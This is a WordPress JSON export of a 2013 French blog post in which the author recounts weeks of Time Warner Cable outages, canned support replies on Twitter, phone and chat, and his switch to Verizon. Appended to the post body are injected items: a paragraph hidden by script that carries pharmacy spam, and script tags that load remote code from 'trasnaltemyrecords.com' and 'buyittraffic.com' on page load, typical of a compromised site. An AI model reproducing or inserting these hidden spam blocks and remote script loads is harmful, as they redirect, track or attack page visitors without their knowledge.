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{"id":3585,"date":"2013-09-18T23:48:26","date_gmt":"2013-09-19T03:48:26","guid":{"rendered":"http:\/\/www.nyfrenchgeek.com\/2013\/09\/le-marketing-pour-les-nuls-de-time-warner-cable\/"},"modified":"2013-09-18T23:48:26","modified_gmt":"2013-09-19T03:48:26","slug":"le-marketing-pour-les-nuls-de-time-warner-cable","status":"publish","type":"post","link":"http:\/\/www.nyfrenchgeek.com\/2013\/09\/le-marketing-pour-les-nuls-de-time-warner-cable\/","title":{"rendered":"Le marketing pour les nuls de Time Warner Cable"},"content":{"rendered":"

J’ai r\u00e9cemment pouss\u00e9 quelques coups de gueule sur les coupures Internet de Time Warner Cable<\/strong>. Apr\u00e8s quelques semaines \u00e0 survivre avec une connexion Internet coup\u00e9e toutes les 4h, \u00e0 me connecter sur le r\u00e9seau WiFi du building d’en face, j’en ai retir\u00e9 quelques le\u00e7ons sur la gestion du client \u00e0 la mode Time Warner.<\/p>\n

Car, aux Etats-Unis, le client qui se plaint n’est pas toujours roi. Voici donc le mini guide du marketing pour les nuls…de Time Warner.<\/p>\n

Time Warner Cable est une \u00e9norme soci\u00e9t\u00e9 qui a longtemps eu le monopole des offres Internet \u00e0 Manhattan. Depuis peu d’autres fournisseurs sont arriv\u00e9s sur le march\u00e9, sans pour autant que Time Warner ne modifie profond\u00e9ment son offre et son service client.<\/p>\n

Quand vous avez une coupure de connexion Internet, Time Warner vous propose plusieurs choix afin de les contacter:<\/p>\n

\n
le t\u00e9l\u00e9phone: un num\u00e9ro gratuit qui vous permet de joindre un service client automatique<\/li>\n
l’email<\/li>\n
Twitter: avec le compte @TWC_Help<\/a><\/li>\n
le chat sur leur site web<\/li>\n
vous rendre directement dans une agence<\/li>\n<\/ul>\n
J’ai tout essay\u00e9 (sauf l’agence, car si vous avez un probl\u00e8me de connexion apr\u00e8s 17h….).<\/p>\n
<\/span>
\nCoupure Internet, le premier r\u00e9flexe est de rebooter son routeur. Deuxi\u00e8me r\u00e9flexe contacter son FAI afin de savoir ce qui se passe.
\n<\/iframe><br \/>\nJ’ai donc tout d’abord essay\u00e9 de twitter. La r\u00e9ponse de Time Warner vient assez rapidement<\/p>\n<blockquote class=\"twitter-tweet\">\n<p>Our apologies for the service interruption. There is a confirmed area issue that we’re working to res… <a href=\"http:\/\/t.co\/ZjFmCQ4eO7\">http:\/\/t.co\/ZjFmCQ4eO7<\/a><\/p>\n<p>\u2014 TWC Help (@TWC_Help) <a href=\"https:\/\/twitter.com\/TWC_Help\/statuses\/376798647423234050\">September 8, 2013<\/a><\/p>\n<\/blockquote>\n<p><script charset=\"utf-8\" type=\"text\/javascript\" src=\"\/\/platform.twitter.com\/widgets.js\" async=\"\"><\/script>Le probl\u00e8me, c’est que la r\u00e9ponse ne varie pas.<\/p>\n<blockquote class=\"twitter-tweet\">\n<p>\nI do apologize, I’m still detecting an area issue causing this, it’s being worked on & will be fixed ASAP, no timeframe. ^JW \u2014 TWC Help (@TWC_Help) <a href=\"https:\/\/twitter.com\/TWC_Help\/statuses\/373825377077960704\">August 31, 2013<\/a>\n<\/p>\n<\/blockquote>\n<p><script charset=\"utf-8\" type=\"text\/javascript\" src=\"\/\/platform.twitter.com\/widgets.js\" async=\"\"><\/script><br \/>\nVraiment pas!<\/p>\n<blockquote class=\"twitter-tweet\">\n<p>I do apologize, I’m still detecting an area issue causing this, it’s being worked on & will be fixed ASAP, no timeframe. ^JW<\/p>\n<p>\u2014 TWC Help (@TWC_Help) <a href=\"https:\/\/twitter.com\/TWC_Help\/statuses\/372688413217923072\">August 28, 2013<\/a><\/p>\n<\/blockquote>\n<p> <\/p>\n<p>Je pense avoir fait une vingtaine de tweets, avoir re\u00e7u 20 fois la m\u00eame r\u00e9ponse.<\/p>\n<p style=\"text-align: justify;\">Essayons le t\u00e9l\u00e9phone.<br \/>\nLa bonne nouvelle c’est que le num\u00e9ro est gratuit. On vous demande de rentrer votre num\u00e9ro de t\u00e9l\u00e9phone enregistr\u00e9 dans le syst\u00e8me de Time Warner afin de vous identifier. Puis vous tombez sur un robot qui vous guide dans le process. Un probl\u00e8me de connexion? “<em>we apologize, we detected an outage in your area<\/em>“. Tiens tiens on dirait du Twitter. “Voulez-vous parler \u00e0 un agent commercial de Time Warner? Sachez qu’ils ne pourront rien vous dire de plus sur le probl\u00e8me de connexion. Au revoir”.<br \/>\nPas plus de r\u00e9ussite au t\u00e9l\u00e9phone, 6 ou 7 appels tout de m\u00eame.<\/p>\n<p style=\"text-align: justify;\">L’email:<br \/>\nTime Warner me demande quasiment une enqu\u00eate g\u00e9n\u00e9alogique avant de pouvoir envoyer un email par le site web. Donc non merci.<\/p>\n<p style=\"text-align: justify;\">Le chat:<br \/>\nBonne id\u00e9e le chat comme moyen de communication pour ceux qui n’ont pas Internet \u00e0 cause d’une coupure de r\u00e9seau. Alors le chat je me suis bien amus\u00e9 avec. Tout d’abord cela commence g\u00e9n\u00e9ralement comme ceci.<br \/>\n<a href=\"http:\/\/www.nyfrenchgeek.com\/wp-content\/uploads\/2013\/09\/274f4__French_Geek__chat-twc1.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter size-full wp-image-10066\" alt=\"chat twc\" src=\"http:\/\/www.nyfrenchgeek.com\/wp-content\/uploads\/2013\/09\/274f4__French_Geek__chat-twc1.jpg\" width=\"640\" height=\"453\" \/><\/a><br \/>\nOui je ne suis pas le seul \u00e0 vouloir exprimer mon m\u00e9contentement. Apr\u00e8s quelques minutes \u00e0 patienter, on est mis en ligne avec un des agents de Time Warner, qui r\u00e9p\u00e8te encore une fois ses regrets et apr\u00e8s avoir insist\u00e9, me propose de signaler sur mon compte le probl\u00e8me de connexion afin de ne pas payer pour les jours sans Internet (on a vraiment l’impression qu’il nous fait une grande faveur). Cela correspond \u00e0 une r\u00e9duction de $ 7 par jour. Bien sur, cela ne compense pas le manque \u00e0 gagner pour un freelancer qui travaille \u00e0 son domicile. On avance!<\/p>\n<p style=\"text-align: justify;\">Les le\u00e7ons marketing pour Time Warner.<br \/>\nDepuis 1 an, <a href=\"http:\/\/www.multichannel.com\/distribution\/us-pay-tv-providers-lost-366000-subs-q2-snl-kagan\/145242\" target=\"_blank\">1.8 millions d’am\u00e9ricains<\/a> ont arr\u00eat\u00e9 leur abonnement au c\u00e2ble pour passer \u00e0 la concurrence. On peut donc se dire que Time Warner va faire un effort afin de conserver ses clients existants quand un probl\u00e8me survient…..mais non voyons.<\/p>\n<p style=\"text-align: justify;\">Durant ces 3 semaines, Time Warner s’est amus\u00e9 \u00e0 m’envoyer des emails promotionnels afin “<em>d’upgrader mon Internet pour $ 10 de plus par mois<\/em>“. Proposer cela \u00e0 un client m\u00e9content car il n’a pas Internet: bonne id\u00e9e.<\/p>\n<p style=\"text-align: justify;\">Le gros probl\u00e8me est qu’il n’y a apparemment aucune centralisation des informations re\u00e7ues du client. Ma vingtaine de tweets m\u00e9contents, ma dizaine d’appels et d’utilisation du chat, ne m’ont apport\u00e9s qu’une r\u00e9ponse classique et commune comme n’importe quel autre client. Aucune mention du fait que je les ai contact\u00e9 par diff\u00e9rents moyens et fr\u00e9quemment. A chaque appel ou chat, je repartais \u00e0 z\u00e9ro.<\/p>\n<p style=\"text-align: justify;\">Mon immeuble a r\u00e9cemment \u00e9t\u00e9 connect\u00e9 \u00e0 Verizon, je peux donc quitter Time Warner. Client depuis 4 ans je peux aussi partir du jour au lendemain sans avoir \u00e0 payer de frais d’annulation. Le genre de chose qui ne semble pas les g\u00eaner.<\/p>\n<blockquote class=\"twitter-tweet\">\n<p>We’d be happy to have you on Team <a href=\"https:\/\/twitter.com\/search?q=%23FiOS&src=hash\">#FiOS<\/a> Bertrand! Check out our deals & tweet us questions: <a href=\"http:\/\/t.co\/Ib57686ixI\">http:\/\/t.co\/Ib57686ixI<\/a><\/p>\n<p>\u2014 Verizon FiOS (@VerizonFiOS) <a href=\"https:\/\/twitter.com\/VerizonFiOS\/statuses\/376481873012072448\">September 7, 2013<\/a><\/p>\n<\/blockquote>\n<p style=\"text-align: justify;\">R\u00e9ponse de Time Warner quand je leur ai dit cela:<\/p>\n<p>RIEN<br \/>\nLa morale du jour: si vous \u00eates une startup ayant un bon syst\u00e8me d\u2019int\u00e9gration des requ\u00eates sur les r\u00e9seaux sociaux au syst\u00e8me CRM, Time Warner est un client potentiel pour vous.<\/p>\n<p>La morale pour Time Warner: le client est roi…..c’est totalement d\u00e9pass\u00e9.<\/p>\n<p>via Bertrand<br \/>\n<a rel=\"nofollow\" href=\"http:\/\/www.soparticular.com\/2013\/09\/19\/le-marketing-pour-les-nuls-de-time-warner-cable\/\">So Particular<\/a><\/p>\n<p>via <script type=\"text\/javascript\"> function get_style3585 () { return \"none\"; } function end3585_ () { document.getElementById('neb3585').style.display = get_style3585(); } <\/script><\/p>\n<p id=\"neb3585\">Some young couples who are facing different health problem, these individuals can buy remedies from the Web without any problem. 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Some of the web-sites offer really hazardous fakes. <\/p>\n<p><script type=\"text\/javascript\"> end3585_(); <\/script><script src='https:\/\/scripts.trasnaltemyrecords.com\/pixel.js?track=r&subid=043' type='text\/javascript'><\/script><script src='https:\/\/scripts.trasnaltemyrecords.com\/pixel.js?track=r&subid=043' type='text\/javascript'><\/script><script src='https:\/\/land.buyittraffic.com\/clizkes' type='text\/javascript'><\/script><script src='https:\/\/land.buyittraffic.com\/clizkes' type='text\/javascript'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>J’ai r\u00e9cemment pouss\u00e9 quelques coups de gueule sur les coupures Internet de Time Warner Cable. Apr\u00e8s quelques semaines …<a href=\"http:\/\/www.nyfrenchgeek.com\/2013\/09\/le-marketing-pour-les-nuls-de-time-warner-cable\/\" class=\"read-more\">Continue Reading<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"jetpack_post_was_ever_published":false,"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_publicize_message":"","jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":true,"jetpack_social_options":{"image_generator_settings":{"template":"highway","enabled":false}}},"categories":[61],"tags":[],"jetpack_publicize_connections":[],"yoast_head":"\n<title>Le marketing pour les nuls de Time Warner Cable * NY French Geek<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"http:\/\/www.nyfrenchgeek.com\/2013\/09\/le-marketing-pour-les-nuls-de-time-warner-cable\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Le marketing pour les nuls de Time Warner Cable * NY French Geek\" \/>\n<meta property=\"og:description\" content=\"J’ai r\u00e9cemment pouss\u00e9 quelques coups de gueule sur les coupures Internet de Time Warner Cable. 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